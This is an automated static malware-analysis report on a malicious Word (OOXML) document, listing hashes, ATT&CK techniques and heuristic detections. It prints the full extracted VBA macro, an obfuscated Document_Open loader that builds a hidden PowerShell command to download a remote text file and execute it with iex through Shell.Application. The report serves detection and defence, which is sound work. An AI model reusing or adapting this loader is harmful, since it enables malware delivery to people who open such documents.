Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 934731692b12fd18…

MALICIOUS

Office (OOXML)

111.9 KB Created: 2021-05-17 06:56:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-06-17
MD5: dfbe17d9dfa3f3bb715e1d8348bd1f50 SHA-1: e6cbdca086488446f8f3950bdda27d2b61876062 SHA-256: 934731692b12fd182acbc698dd3f8ef59984aa4e7ef56e124f9851852878817e
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OOXML document containing an obfuscated VBA macro within the Document_Open auto-execution function. This macro uses CreateObject to execute a command, likely to download and run a second-stage payload. The reconstructed command string suggests an attempt to execute a PowerShell command from a remote URL.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
asfwefsadfasfsadf
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2455 bytes
SHA-256: c07973659fcf63f0dd770d810d8af0bef247ec590100949de30bfe76d1fb04e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
asfwefsadfasfsadf
asfwqfasfsdafas
eifhhdfasfiedf
End Sub

Function asfwefsadfasfsadf()
  Selection.Delete Unit:=wdCharacter, Count:=1
End Function

Function asfwqfasfsdafas()
    Selection.WholeStory
    With Selection.Font
        .NameFarEast = ""
        .NameAscii = ""
        .NameOther = ""
        .Name = ""
        .Hidden = False
    End With
End Function
Function eifhhdfasfiedf()
Set djfeihfidkasljf = CreateObject("Shell.Application")
Dim dfgdfjiejfjdshaj As String
Dim yhjhfjdhfdhfuesk(10) As String
dfgdfjiejfjdshaj = "tuwhnptuwhnotuwhnwtuwhnetuwhnrtuwhnstuwhnhtuwhnetuwhnltuwhnltuwhn.tuwhnetuwhnxtuwhnetuwhn"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, "tuwhn", "")
yhjhfjdhfdhfuesk(0) = "tuwhn[tuwhnstuwhnttuwhnrtuwhnituwhnntuwhngtuwhn]tuwhn$tuwhnatuwhn=tuwhn{tuwhn(tuwhnNtuwhnetuwhnwtuwhn-tuwhnOtuwhnbtuwhnjtuwhnetuwhnctuwhnttuwhn "
dfjdiafjlij = Replace(yhjhfjdhfdhfuesk(0), "tuwhn", "")
yhjhfjdhfdhfuesk(1) = "tuwhnNtuwhnetuwhnttuwhn.tuwhnWtuwhnetuwhnbtuwhnCtuwhnltuwhnituwhnetuwhnntuwhnttuwhn)tuwhn.tuwhnDtuwhnntuwhngtuwhn"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(1), "tuwhn", "")
yhjhfjdhfdhfuesk(2) = "('htuwhnttuwhnttuwhnptuwhn:tuwhn/tuwhn/tuwhnmtuwhnatuwhnntuwhnctuwhnttuwhn.tuwhnatuwhnttuwhnwtuwhnetuwhnbtuwhnptuwhnatuwhngtuwhnetuwhnstuwhn.tuwhnctuwhnotuwhnmtuwhn/tuwhnctuwhnktuwhn/tuwhnuytuwhn.tuwhnttuwhnxtuwhnt')"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(2), "tuwhn", "")
yhjhfjdhfdhfuesk(3) = "tuwhn}tuwhn;tuwhn$tuwhnbtuwhn=tuwhn$tuwhnatuwhn.tuwhnituwhnntuwhnstuwhnetuwhnrtuwhnttuwhn(tuwhn2tuwhn8tuwhn,tuwhn'"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(3), "tuwhn", "")
yhjhfjdhfdhfuesk(4) = "tuwhnotuwhnwtuwhnntuwhnltuwhnotuwhnatuwhndtuwhnstuwhnttuwhnrtuwhnituwhn'tuwhn)tuwhn;tuwhn$tuwhnctuwhn=tuwhnituwhn"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(4), "tuwhn", "")
yhjhfjdhfdhfuesk(5) = "etuwhnxtuwhn tuwhn$tuwhnbtuwhn;tuwhnituwhnetuwhnxtuwhn tuwhn$tuwhnctuwhn"
dfjdiafjlij = dfjdiafjlij & Replace(yhjhfjdhfdhfuesk(5), "tuwhn", "")
djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, dfjdiafjlij, "", "open", 0
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: cb720bc1e934ceb9320d1406483db6f42d78d366de93228e3d0469b7c6ca7912

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